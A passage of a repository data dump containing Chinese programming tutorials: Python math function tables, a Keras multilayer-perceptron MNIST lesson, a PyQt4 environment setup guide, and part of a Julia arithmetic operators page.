4</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log(x)</code></td>\n<td align=\"left\">如math.log(math.e)返回1.0,math.log(100,10)返回2.0</td>\n</tr>\n<tr>\n<td align=\"left\"><code>log10(x)</code></td>\n<td align=\"left\">返回以10为基数的x的对数,如math.log10(100)返回 2.0</td>\n</tr>\n<tr>\n<td align=\"left\"><code>max(x1, x2,...)</code></td>\n<td align=\"left\">返回给定参数的最大值,参数可以为序列。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>min(x1, x2,...)</code></td>\n<td align=\"left\">返回给定参数的最小值,参数可以为序列。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>modf(x)</code></td>\n<td align=\"left\">返回x的整数部分与小数部分,两部分的数值符号与x相同,整数部分以浮点型表示。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>pow(x, y)</code></td>\n<td align=\"left\">x**y 运算后的值。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>round(x [,n])</code></td>\n<td align=\"left\">返回浮点数 x 的四舍五入值,如给出 n 值,则代表舍入到小数点后的位数。<strong>其实准确的说是保留值将保留到离上一位更近的一端。</strong></td>\n</tr>\n<tr>\n<td align=\"left\"><code>sqrt(x)</code></td>\n<td align=\"left\">返回数字x的平方根。</td>\n</tr>\n</tbody>\n</table>\n<h2>随机数函数</h2>\n<p>随机数可以用于数学,游戏,安全等领域中,还经常被嵌入到算法中,用以提高算法效率,并提高程序的安全性。</p>\n<p>Python包含以下常用随机数函数:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>choice(seq)</code></td>\n<td align=\"left\">从序列的元素中随机挑选一个元素,比如random.choice(range(10)),从0到9中随机挑选一个整数。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>randrange ([start,\\]stop [,step])</code></td>\n<td align=\"left\">从指定范围内,按指定基数递增的集合中获取一个随机数,基数默认值为 1</td>\n</tr>\n<tr>\n<td align=\"left\"><code>random()</code></td>\n<td align=\"left\">随机生成下一个实数,它在[0,1)范围内。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>seed([x\\])</code></td>\n<td align=\"left\">改变随机数生成器的种子seed。如果你不了解其原理,你不必特别去设定seed,Python会帮你选择seed。</td>\n</tr>\n<tr>\n<td align=\"left\"><code>shuffle(lst)</code></td>\n<td align=\"left\">将序列的所有元素随机排序</td>\n</tr>\n<tr>\n<td align=\"left\"><code>uniform(x, y)</code></td>\n<td align=\"left\">随机生成下一个实数,它在[x,y]范围内。</td>\n</tr>\n</tbody>\n</table>\n<h2>三角函数</h2>\n<table>\n<thead>\n<tr>\n<th align=\"center\">函数</th>\n<th align=\"center\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\"><code>acos(x)</code></td>\n<td align=\"center\">返回x的反余弦弧度值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>asin(x)</code></td>\n<td align=\"center\">返回x的反正弦弧度值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>atan(x)</code></td>\n<td align=\"center\">返回x的反正切弧度值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>atan2(y, x)</code></td>\n<td align=\"center\">返回给定的 X 及 Y 坐标值的反正切值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>cos(x)</code></td>\n<td align=\"center\">返回x的弧度的余弦值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>hypot(x, y)</code></td>\n<td align=\"center\">返回欧几里德范数 sqrt(x<em>x + y</em>y)。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>sin(x)</code></td>\n<td align=\"center\">返回的x弧度的正弦值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>tan(x)</code></td>\n<td align=\"center\">返回x弧度的正切值。</td>\n</tr>\n<tr>\n<td align=\"center\"><code>degrees(x)</code></td>\n<td align=\"center\">将弧度转换为角度,如degrees(math.pi/2) , 返回90.0</td>\n</tr>\n<tr>\n<td align=\"center\"><code>radians(x)</code></td>\n<td align=\"center\">将角度转换为弧度</td>\n</tr>\n</tbody>\n</table>\n<h2>数学常量</h2>\n<table>\n<thead>\n<tr>\n<th align=\"left\">常量</th>\n<th align=\"center\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>pi</code></td>\n<td align=\"center\">数学常量 pi(圆周率,一般以π来表示)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>e</code></td>\n<td align=\"center\">数学常量 e,e即自然常数(自然常数)。</td>\n</tr>\n</tbody>\n</table>\n<h4>练习:计算半径为5的圆的面积</h4>\n<p>根据公式$S={\\pi}r^2$即可求出</p>\n<pre><code class=\"Python\">import math\nr=5\nprint(&quot;半径为5的圆的面积:&quot;,math.pi*r**2)\n</code></pre>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.7257102727890015, "alphanum_fraction": 0.7579796314239502, "avg_line_length": 17.04430389404297, "blob_id": "1dec0c18ce5b53c84af5d1339f0eb89f44b3a57c", "content_id": "c6d6e4d3a6afe915fbb6326204de95a159b96225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4313, "license_type": "no_license", "max_line_length": 85, "num_lines": 158, "path": "/keras/class_1.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# 第一节课 使用Keras写一个mlp\n\nmlp就是multilayer perceptron,多层感知机。数据集用的是经典的mnist,数字分类问题。\n\n首先导入keras的各种模块\n\nkeras.datasets 里面包含了多种常用数据集,如mnist,cifar10等等,可以实现自动下载和解析等等。\n\nkeras.models 里面有最核心的模型结构,如顺序模型结构Sequential\n\nkeras.layers 里面有一些常用的层结构,如全连接层Dense\n\nkeras.optimizers 里面有一些常用优化函数,如adam等\n\n\n```python\nimport keras\nfrom keras.datasets import mnist \nfrom keras.models import Sequential \nfrom keras.layers import Dense,Dropout\nfrom keras.optimizers import RMSprop\n```\n\n载入mnist数据,第一次会自动下载,之后运行会载入本地文件。\n\n\n```python\n(x_train,y_train),(x_test,y_test)=mnist.load_data()\n```\n\n↓查看一下数据格式,训练集一共有6万张,大小是28*28,单通道灰度图,测试集是1000张。标签是列向量\n\n\n```python\nprint(x_train.shape,y_train.shape)\nprint(x_test.shape,y_test.shape)\n```\n\n↓可视化一些图片\n\n\n```python\nimport matplotlib.pyplot as plt\nim = plt.imshow(x_train[0],cmap='gray')\nplt.show()\nim2 = plt.imshow(x_train[1],cmap='gray')\nplt.show()\n```\n\n由于mlp的输入是一维向量,所以要转换\n\n将每一幅图像都转换为一个长向量,大小为28*28=784\n\n\n```python\nx_train = x_train.reshape(60000,784)\nx_test = x_test.reshape(10000,784)\n# x_train = x_train.astype('float32')\n# x_train = x_train.astype('float32')\nprint(x_train.shape)\n```\n\n归一化,将图像的像素归到0~1\n\n\n```python\nx_train = x_train/255\nx_test = x_test/255\n```\n\n将label也转换成One-hot标签,这里直接用keras的预置的一个函数 keras.utils.to_categorical\n\n\n```python\nprint(y_train[0:10])# 查看原始标签 0~9\n```\n\n\n```python\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n\nprint(y_train[0:10])#查看转换完毕的标签\n```\n\n开始构建模型,模型分包含两个隐层和一个输出层,都是全连接层,使用Sequential构建\n\n其中隐层输出采用ReLU激活函数,Sequential的第一层要指定input_shape,要注意,这里的input_shape 是不包含batch大小的,就只是后面几维\n\n\n```python\nmodel = Sequential()\nmodel.add(Dense(512,activation='relu',input_shape=(784,)))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(512,activation='relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(10,activation='softmax'))\n```\n\n\n```python\nmodel.summary()#这一句用来输出网络结构\n```\n\n配置模型,主要包括\nloss:loss计算方法(损失函数)\n\noptimizer:优化函数\n\nmetrics:指定哪些量需要在训练及测试中关注,一般都会写accuracy\n\n\n```python\nmodel.compile(loss='categorical_crossentropy',\n optimizer=RMSprop(),\n metrics=['accuracy'])\n```\n\n开始训练。这里使用的是model对象的fit方法。前两个参数分别是**完整的训练数据和训练标签**\n\nbatch_size 表示每一次塞入多少张图片\n\nepochs 表示训练几轮\n\nverbose 表示用何种方式显示输出信息,0表示不输出,1表示在一直输出更新,2表示每一个epoch才输出一次。\n\nvalidation_data 表示验证集,格式和训练集一样,如果此参数不为空的话,每一个epoch过后就会输出验证集的loss和accuracy\n\n\n```python\nmodel.fit(x_train,y_train,batch_size=64,epochs=2,verbose=1,\n validation_data=(x_test,y_test))\n```\n\n测试结果,输出为loss以及其他之前compile模型时指定过的metrics的值\n\n\n```python\nscore = model.evaluate(x_test,y_test,verbose=1)\nprint('Test loss:',score[0])\nprint('Test accuracy',score[1])\n```\n\n## 总结\n\n本文主要写了一个最简单的多层感知机模型,目的是熟悉keras最基本的操作。\n\n知识点:\n\n1. 学习载入Keras中预置的数据库及数据库数据的基本变换\n1. Sequential模型的定义,以及如何添加层\n1. 如何对Dense层及Dropout层进行基本的配置\n1. 学习使用compile对网络进行配置\n1. 使用fit方法来对小数据库进行训练,这里的小数据库指的是所有数据可以一次性载入到内存\n1. 使用evaluate方法来对模型进行效果评估\n\n参考:\n> https://github.com/keras-team/keras/tree/master/examples\n" }, { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 15, "blob_id": "863d73b21a7f70c35a5eca35d980e4edbdc20d90", "content_id": "497a1df791c830411e307c83f7e606318bb8c314", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "no_license", "max_line_length": 15, "num_lines": 1, "path": "/mysql-ms/verify.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# MySQL 主从复制 验证" }, { "alpha_fraction": 0.7006651759147644, "alphanum_fraction": 0.7294900417327881, "avg_line_length": 11.914285659790039, "blob_id": "7051b990dbe6564b08c0889bba9728e84650a69f", "content_id": "e70a05f2af8c3b09547a2906e0da3d3b3a4be4e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 611, "license_type": "no_license", "max_line_length": 50, "num_lines": 35, "path": "/pyqt/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PyQt 环境安装及配置\n\n## 本课程在线环境的安装\n\n### 打开终端\n\n在右侧桌面环境空白处,右键打开`Open Terminal Here`\n\n### 安装PyQt4环境\n```shell\n#先更新apt安装源\napt update\n\n#安装PyQt4环境\napt install python3-pyqt4 -y\n\n#补充PyQt4.QtSQL包\napt install python3-pyqt4.qtsql -y\n\n#mysql,sqlite驱动 \napt install libqt4-sql-mysql libqt4-sql-sqlite -y \n\n#安装PyQt4 Designer\napt install qt4-designer -y\n```\n\n### 验证环境\n\n在右侧的实验区,打开一个终端,运行试试\n\n```bash\npython3 /share/lesson/pyqt5/helloworld.py\n```\n\n![setup](./images/setup.png)" }, { "alpha_fraction": 0.5663697719573975, "alphanum_fraction": 0.5801676511764526, "avg_line_length": 25.569604873657227, "blob_id": "8ea3e14b581f303e3374788604b5f8227b4c1216", "content_id": "b0ef10ade79791a381545fdebb4c62de75c06403", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 26908, "license_type": "no_license", "max_line_length": 525, "num_lines": 862, "path": "/julia/math.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Julia 数学运算和基本函数 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> Julia简介 </a></li>\n<li><a href=\"./setup.html\"> Julia环境搭建及运行 </a></li>\n<li><a href=\"./start.html\"> Julia开始 </a></li>\n<li><a href=\"./repl.html\"> Julia交互 </a></li>\n<li><a href=\"./variable.html\"> Julia变量 </a></li>\n<li><a href=\"./int-float.html\"> Julia整数和浮点数 </a></li>\n<li><a href=\"./math.html\"> Julia数学运算和基本函数 </a></li>\n<li><a href=\"./complex-fraction.html\"> Julia复数和分数 </a></li>\n<li><a href=\"./string.html\"> Julia数据类型 字符串 </a></li>\n<li><a href=\"./scope.html\"> Julia变量的作用域 </a></li>\n<li><a href=\"./function.html\"> Julia函数 </a></li>\n<li><a href=\"./method.html\"> Julia方法 </a></li>\n<li><a href=\"./conditional.html\"> Julia控制流 </a></li>\n<li><a href=\"./type.html\"> Julia类型 </a></li>\n<li><a href=\"./construction-function.html\"> Julia构造函数 </a></li>\n<li><a href=\"./type-convert.html\"> Julia类型转换和类型提升 </a></li>\n<li><a href=\"./module.html\"> Julia模块 </a></li>\n<li><a href=\"./datetime.html\"> Julia日期和时间 </a></li>\n<li><a href=\"./meta.html\"> Julia元编程 </a></li>\n<li><a href=\"./md-array.html\"> Julia多维数组 </a> </li>\n<li><a href=\"./la.html\"> Julia线性代数 </a></li>\n<li><a href=\"./net-stream.html\"> Julia网络和流 </a></li>\n<li><a href=\"./parallel-computation.html\"> Julia并行计算 </a></li>\n<li><a href=\"./nullable.html\"> Julia可空类型 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Julia 数学运算和基本函数</h1>\n<h2>数学运算和基本函数</h2>\n<p>Julia 为它所有的基础数值类型,提供了整套的基础算术和位运算,也提供了一套高效、可移植的标准数学函数。</p>\n<h2>算术运算符</h2>\n<p>下面的<a href=\"http://zh.wikipedia.org/zh-cn/算术#.E7.AE.97.E8.A1.93.E9.81.8B.E7.AE.97\">算术运算符</a>适用于所有的基本数值类型:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">表达式</th>\n<th align=\"left\">名称</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>+x</code></td>\n<td align=\"left\">一元加法</td>\n<td align=\"left\">x 本身</td>\n</tr>\n<tr>\n<td align=\"left\"><code>-x</code></td>\n<td align=\"left\">一元减法</td>\n<td align=\"left\">相反数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x + y</code></td>\n<td align=\"left\">二元加法</td>\n<td align=\"left\">做加法</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x - y</code></td>\n<td align=\"left\">二元减法</td>\n<td align=\"left\">做减法</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x * y</code></td>\n<td align=\"left\">乘法</td>\n<td align=\"left\">做乘法</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x / y</code></td>\n<td align=\"left\">除法</td>\n<td align=\"left\">做除法</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x \\ y</code></td>\n<td align=\"left\">反除</td>\n<td align=\"left\">等价于 y / x</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x ^ y</code></td>\n<td align=\"left\">乘方</td>\n<td align=\"left\">x 的 y 次幂</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x % y</code></td>\n<td align=\"left\">取余</td>\n<td align=\"left\">等价于 rem(x, y)</td>\n</tr>\n</tbody>\n</table>\n<p>以及 <code>Bool</code> 类型的非运算:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">表达式</th>\n<th align=\"left\">名称</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>!x</code></td>\n<td align=\"left\">非</td>\n<td align=\"left\">true 和 false 互换</td>\n</tr>\n</tbody>\n</table>\n<p>Julia 的类型提升系统使得参数类型混杂的算术运算也很简单自然。详见类型转换和类型提升 </p>\n<p>算术运算的例子:</p>\n<pre><code class=\"julia\">1 + 2 + 3\n\n\n1 - 2\n\n\n3*2/12\n</code></pre>\n\n<p>(习惯上,优先级低的运算,前后多补些空格。这不是强制的。)</p>\n<h2>位运算符</h2>\n<p>下面的 位运算符 适用于所有整数类型:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">表达式</th>\n<th align=\"left\">名称</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>~x</code></td>\n<td align=\"left\">按位取反</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x &amp; y</code></td>\n<td align=\"left\">按位与</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x \\| y</code></td>\n<td align=\"left\">按位或</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x $ y</code></td>\n<td align=\"left\">按位异或</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x &gt;&gt;&gt; y</code></td>\n<td align=\"left\">向右 逻辑移位 (高位补 0 )</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x &gt;&gt; y</code></td>\n<td align=\"left\">向右 算术移位 (复制原高位)</td>\n</tr>\n<tr>\n<td align=\"left\"><code>x &lt;&lt; y</code></td>\n<td align=\"left\">向左逻辑/算术移位</td>\n</tr>\n</tbody>\n</table>\n<p>位运算的例子:</p>\n<pre><code class=\"julia\">~123\n\n123 &amp; 234\n\n123 | 234\n\n123 $ 234\n\n~uint32(123)\n\n~uint8(123)\n</code></pre>\n\n<h2>复合赋值运算符</h2>\n<p>二元算术和位运算都有对应的复合赋值运算符,即运算的结果将会被赋值给左操作数。在操作符的后面直接加上 <code>=</code> 就组成了复合赋值运算符。例如, <code>x += 3</code> 相当于 <code>x = x + 3</code> :</p>\n<pre><code class=\"julia\">x = 1\n\nx += 3\n\nx\n</code></pre>\n\n<p>复合赋值运算符有:</p>\n<p><code>+= -= *= /= \\= %= ^= &amp;= |= $= &gt;&gt;&gt;= &gt;&gt;= &lt;&lt;=</code></p>\n<h2>数值比较</h2>\n<p>所有的基础数值类型都可以使用比较运算符:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">运算符</th>\n<th align=\"left\">名称</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>==</code></td>\n<td align=\"left\">等于</td>\n</tr>\n<tr>\n<td align=\"left\"><code>!=</code></td>\n<td align=\"left\">不等于</td>\n</tr>\n<tr>\n<td align=\"left\"><code>&lt;</code></td>\n<td align=\"left\">小于</td>\n</tr>\n<tr>\n<td align=\"left\"><code>&lt;=</code></td>\n<td align=\"left\">小于等于</td>\n</tr>\n<tr>\n<td align=\"left\"><code>&gt;</code></td>\n<td align=\"left\">大于</td>\n</tr>\n<tr>\n<td align=\"left\"><code>&gt;=</code></td>\n<td align=\"left\">大于等于</td>\n</tr>\n</tbody>\n</table>\n<p>一些例子:</p>\n<pre><code class=\"julia\">1 == 1\n\n1 == 2\n\n1 != 2\n\n1 == 1.0\n\n1 &lt; 2\n\n1.0 &gt; 3\n\n1 &gt;= 1.0\n\n-1 &lt;= 1\n\n-1 &lt;= -1\n\n-1 &lt;= -2\n\n3 &lt; -0.5\n</code></pre>\n\n<p>整数是按位比较的。浮点数是 <a href=\"http://zh.wikipedia.org/zh-cn/IEEE_754\">IEEE 754</a> 标准 比较的:</p>\n<ul>\n<li>有限数按照正常方式做比较。</li>\n<li>正数的零等于但不大于负数的零。</li>\n<li><code>Inf</code> 等于它本身,并且大于所有数, 除了 <code>NaN</code>。</li>\n<li><code>-Inf</code> 等于它本身,并且小于所有数, 除了 <code>NaN</code>。</li>\n<li><code>NaN</code> 不等于、不大于、不小于任何数,包括它本身。</li>\n</ul>\n<p>上面最后一条是关于 <code>NaN</code> 的性质,值得留意:</p>\n<pre><code class=\"julia\">NaN == NaN\n\nNaN != NaN\n\nNaN &lt; NaN\n\nNaN &gt; NaN\n</code></pre>\n\n<p><code>NaN</code> 在[<em>矩阵</em>]中使用时会带来些麻烦:</p>\n<pre><code class=\"julia\">[1 NaN] == [1 NaN]\n</code></pre>\n\n<p>Julia 提供了附加函数, 用以测试这些特殊值,它们使用哈希值来比较:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">测试</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>isequal(x, y)</code></td>\n<td align=\"left\">x 是否等价于 y</td>\n</tr>\n<tr>\n<td align=\"left\"><code>isfinite(x)</code></td>\n<td align=\"left\">x 是否为有限的数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>isinf(x)</code></td>\n<td align=\"left\">x 是否为无限的数</td>\n</tr>\n<tr>\n<td align=\"left\"><code>isnan(x)</code></td>\n<td align=\"left\">x 是否不是数</td>\n</tr>\n</tbody>\n</table>\n<p><code>isequal</code> 函数,认为 <code>NaN</code> 等于它本身:</p>\n<pre><code class=\"julia\">isequal(NaN,NaN)\n\nisequal([1 NaN], [1 NaN])\n\nisequal(NaN,NaN32)\n</code></pre>\n\n<p><code>isequal</code> 也可以用来区分有符号的零:</p>\n<pre><code class=\"julia\">-0.0 == 0.0\n\nisequal(-0.0, 0.0)\n</code></pre>\n\n<h2>链式比较</h2>\n<p>与大多数语言不同,Julia 支持 <a href=\"http://en.wikipedia.org/wiki/Python_syntax_and_semantics#Comparison_operators\">Python链式比较</a> :</p>\n<pre><code class=\"julia\">1 &lt; 2 &lt;= 2 &lt; 3 == 3 &gt; 2 &gt;= 1 == 1 &lt; 3 != 5\n</code></pre>\n\n<p>对标量的比较,链式比较使用 <code>&amp;&amp;</code> 运算符;对逐元素的比较使用 <code>&amp;</code> 运算符,此运算符也可用于数组。例如, <code>0 .&lt; A .&lt; 1</code> 的结果是一个对应的布尔数组,满足条件的元素返回 <code>true</code> 。</p>\n<p>操作符 <code>.&lt;</code> 是特别针对数组的; 只有当 <code>A</code> 和 <code>B</code> 有着相同的大小时, <code>A .&lt; B</code> 才是合法的。比较的结果是布尔型数组, 其大小同 <code>A</code> 和 <code>B</code> 相同. 这样的操作符被称为<em>按元素</em>操作符; Julia 提供了一整套的按元素操作符: <code>.*</code>, <code>.+</code>, 等等。 有的按元素操作符也可以接受纯量, 例如上一段的 <code>0 .&lt; A .&lt; B</code>. 这种表示法的意思是, 相应的纯量操作符会被施加到每一 个元素上去。</p>\n<p>注意链式比较的比较顺序:</p>\n<pre><code class=\"julia\">v(x) = (println(x); x)\n\nv(1) &lt; v(2) &lt;= v(3)\n\nv(1) &gt; v(2) &lt;= v(3)\n</code></pre>\n\n<p>中间的值只计算了一次,而不是像 <code>v(1) &lt; v(2) &amp;&amp; v(2) &lt;= v(3)</code> 一样计算了两次。但是,链式比较的计算顺序是不确定的。不要在链式比较中使用带副作用(比如打印)的表达式。如果需要使用副作用表达式,推荐使用短路 <code>&amp;&amp;</code> 运算符(详见[短路求值]))。</p>\n<h3>运算优先级</h3>\n<p>Julia 运算优先级从高至低依次为:</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">类型</th>\n<th align=\"left\">运算符</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\">语法</td>\n<td align=\"left\"><code>.</code> 跟随 <code>::</code></td>\n</tr>\n<tr>\n<td align=\"left\">幂</td>\n<td align=\"left\"><code>^</code> 和 <code>.^</code> 等效</td>\n</tr>\n<tr>\n<td align=\"left\">分数</td>\n<td align=\"left\"><code>//</code> 和 <code>.//</code></td>\n</tr>\n<tr>\n<td align=\"left\">乘除</td>\n<td align=\"left\"><code>/ % &amp; \\</code>和 <code>.* ./ .% .\\</code></td>\n</tr>\n<tr>\n<td align=\"left\">位移</td>\n<td align=\"left\"><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code> 和 <code>.&lt;&lt; .&gt;&gt; .&gt;&gt;&gt;</code></td>\n</tr>\n<tr>\n<td align=\"left\">加减</td>\n<td align=\"left\"><code>+ - | $</code> 和 <code>.+ .-</code></td>\n</tr>\n<tr>\n<td align=\"left\">语法</td>\n<td align=\"left\"><code>: ..</code> 跟随于 <code>|&gt;</code></td>\n</tr>\n<tr>\n<td align=\"left\">比较</td>\n<td align=\"left\"><code>&gt; &lt; &gt;= &lt;= == === != !== &lt;:</code> 和 <code>.&gt; .&lt; .&gt;= .&lt;= .== .!=</code></td>\n</tr>\n<tr>\n<td align=\"left\">逻辑</td>\n<td align=\"left\"><code>&amp;&amp;</code> 跟随于 <code>||</code> 跟随于 <code>?</code></td>\n</tr>\n<tr>\n<td align=\"left\">赋值</td>\n<td align=\"left\"><code>= += -= *= /= //= \\= ^= %= \\|= &amp;= $= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;=</code> 及 <code>.+= .-= .*= ./= .//= .\\= .^= .%=</code></td>\n</tr>\n</tbody>\n</table>\n<h2>基本函数</h2>\n<p>Julia 提供了一系列数学函数和运算符:</p>\n<h3>舍入函数</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n<th align=\"left\">返回类型</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>round(x)</code></td>\n<td align=\"left\">把 x 舍入到最近的整数</td>\n<td align=\"left\">FloatingPoint</td>\n</tr>\n<tr>\n<td align=\"left\"><code>iround(x)</code></td>\n<td align=\"left\">把 x 舍入到最近的整数</td>\n<td align=\"left\">Integer</td>\n</tr>\n<tr>\n<td align=\"left\"><code>floor(x)</code></td>\n<td align=\"left\">把 x 向 -Inf 取整</td>\n<td align=\"left\">FloatingPoint</td>\n</tr>\n<tr>\n<td align=\"left\"><code>ifloor(x)</code></td>\n<td align=\"left\">把 x 向 -Inf 取整</td>\n<td align=\"left\">Integer</td>\n</tr>\n<tr>\n<td align=\"left\"><code>ceil(x)</code></td>\n<td align=\"left\">把 x 向 +Inf 取整</td>\n<td align=\"left\">FloatingPoint</td>\n</tr>\n<tr>\n<td align=\"left\"><code>iceil(x)</code></td>\n<td align=\"left\">把 x 向 +Inf 取整</td>\n<td align=\"left\">Integer</td>\n</tr>\n<tr>\n<td align=\"left\"><code>trunc(x)</code></td>\n<td align=\"left\">把 x 向 0 取整</td>\n<td align=\"left\">FloatingPoint</td>\n</tr>\n<tr>\n<td align=\"left\"><code>itrunc(x)</code></td>\n<td align=\"left\">把 x 向 0 取整</td>\n<td 